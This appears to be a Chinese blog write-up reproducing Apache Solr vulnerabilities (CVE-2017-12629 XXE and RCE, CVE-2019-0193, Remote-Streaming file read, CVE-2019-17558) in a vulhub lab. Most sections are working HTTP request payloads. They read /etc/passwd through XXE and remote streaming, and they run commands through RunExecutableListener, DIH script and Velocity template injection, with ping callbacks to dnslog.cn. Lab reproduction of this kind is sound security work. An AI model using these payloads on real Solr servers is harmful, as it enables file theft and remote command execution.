solr漏洞复现

# solr 是什么

Solr 是开源的,基于 Lucene Java 的搜索服务器。

易于加入到 Web 应用程序中,会生成基于 HTTP 的管理界面。
后台管理界面 Dashboard 仪表盘中,可查看当前 Solr 的版本信息。
(概念详解,移步传送门)

# 环境

漏洞复现环境均使用 vulhub 中的环境

# CVE-2017-12629-XXE

# 影响版本

Apache Solr < 7.1
Apache Lucene < 7.1

# 复现过程

启动环境后打开管理界面:http://192.168.77.128:8983/solr/#/
solr-spec 版本:7.0.1,lucene-spec 版本:7.0.1,符合漏洞要求

bd2a3461fc7bccc9854dd362e359e6c9.png

# 利用外部实体读取敏感文件信息

  1. 开一个 web 服务,在下面创建一个 1.dtd 文件,文件内容如下
1
2
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
  1. 读取 Linux 下 /etc/passwd 文件信息
    引用外部实体
    payload: http://192.168.77.128:8983/solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.77.128%2f1.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser
    URL 解码后:
    http://192.168.77.128:8983/solr/demo/select?&q=<?xml+version="1.0"+?><!DOCTYPE+root[<!ENTITY+%+ext+SYSTEM+"http://192.168.77.128/1.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser
    执行 payload,获取文件信息成功
    7053300facb7c69236631c1d082a1013.png

# 本地 DTD 读取文件

XXE 之利用本地 DTD 进行文件读取

# CVE-2017-12629-RCE

# 影响版本

Apache Solr < 7.1
Apache Lucene < 7.1

# 复现过程

触发命令执行的事件有两种:postCommit 和 newSearcher

# 使用 newSearcher

其中 demo 为存在的 core 名称
数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /solr/demo/config HTTP/1.1
Host: 192.168.77.128:8983
Connection: close
Content-Type: application/json
Content-Length: 178

{
"add-listener" : {
"event":"newSearcher",
"name":"newlistener1",
"class":"solr.RunExecutableListener",
"exe":"ping",
"dir":"/usr/bin/",
"args":["3pqsrm.dnslog.cn"]
}
}



94b6a5f1b4ac9063e66287dcb8c4a904.png
1ad6af042c22a35b1a3f512ecdded65b.png

# 使用 postCommit

数据包 1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /solr/demo/config HTTP/1.1
Host: 192.168.77.128:8983
Connection: close
Content-Type: application/json
Content-Length: 177

{
"add-listener" : {
"event":"postCommit",
"name":"newlistener3",
"class":"solr.RunExecutableListener",
"exe":"ping",
"dir":"/usr/bin/",
"args":["3pqsrm.dnslog.cn"]
}
}



发送该请求后一直没有返回数据,取消重发会回显该 name 已经存在,所以发送第二个数据包
2127408f02166332e7024113d04771c7.png
数据包 2 (数据随便输):

1
2
3
4
5
6
7
8
9
10
11
POST /solr/demo/update HTTP/1.1
Host: 192.168.77.128:8983
Connection: close
Content-Type: application/json
Content-Length: 17

[{"id":"test"
}]



fd55bbc422425d1cc140a4b9c47bb275.png
更新后发现两条记录都在(之前因为没有返回数据又试了一次)
87bd83e9378424bd1f9371d9d213a4c8.png

# CVE-2019-0193

# 影响版本

Apache solr < 8.2.0

# 复现过程

在 Apache solr 的可选模块 DatalmportHandler 中的 DIH 配置是可以包含脚本,因此存在安全隐患,在 apache solr < 8.2.0 版本之前 DIH 配置中 dataconfig 可以被用户控制

vulhub 环境下,进入后会让我们新建一个 core
ddc393bc282026e3dab3eda7d12be543.png
我们需要在服务器中新建,这里新建会报错找不到配置文件
新建 test core 命令
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
4408b56e4ba62cde34034ac2e758e594.png
刷新页面即可看见新建的 core
根据以下步骤进行代码执行
f3b7b2eac45cbc2012a1e0645496bc1f.png
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("ping 0ytihf.dnslog.cn");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

执行成功后,上方会出现绿色修勾勾
63a1299f3a6105014fe6ca0d077857d7.png
命令执行成功
c7aa99cb57448a243367095f5b1cd1af.png

# Remote-Streaming-Fileread(任意文件读取)

# 复现过程

  1. 获取 cores
1
2
3
4
5
6
7
8
9
10
11
12
13
GET /solr/admin/cores?_=1637649371526&show=schema&wt=json HTTP/1.1
Host: 192.168.8.128:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.8.128:8983/solr/
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close



存在的 core 名为 demo
b07e466a79ac15b0597a2354b9a7f378.png

  1. 修改 demo 的配置,开启 RemoteStreaming
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /solr/demo/config?_=1637649371526&show=schema&wt=json HTTP/1.1
Host: 192.168.8.128:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.8.128:8983/solr/
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Content-Length: 82

{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

当出现以下信息时,表示漏洞可能存在:
This response format is experimental. It is likely to change in the future
240c340be0b4a48321e3bfa01a8bdebd.png
3. 读取敏感文件
数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd HTTP/1.1
Host: 192.168.8.128:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.8.128:8983/solr/
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Content-Length: 0



读取成功
e6a8a0fa5ab5ce46c52d3877e991197b.png

# CVE-2019-17558

# 影响版本

5.0.0 <=Apache Solr<= 8.3.1

# 漏洞复现

用户可以注入自定义模板,通过 Velocity 模板语言执行任意命令

  1. 获取 core
    当前存在的 core 为 demo
    e88cbca22f51a1d4843dbf5dd4fa5339.png
  2. 修改 demo 的配置,开启 params.resource.loader.enabled 配置
    数据包:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /solr/demo/config?_=1637649371526&show=schema&wt=json HTTP/1.1
Host: 192.168.8.128:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.8.128:8983/solr/
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Content-Length: 261
Content-Type:application/json


{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}



8f730000e51cf9135817b1b634c260f7.png
3. Velocity 模板代码注入
数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 192.168.8.128:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.8.128:8983/solr/
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close



命令执行成功
f9466bd1a48ca275a93276b87fd78e46.png

# 传送门:

搜索引擎 Solr 介绍
Lucene 就是这么简单
cve-2017-12629 apache solr xxe & rce 漏洞分析(6)

Copyright ©milkii0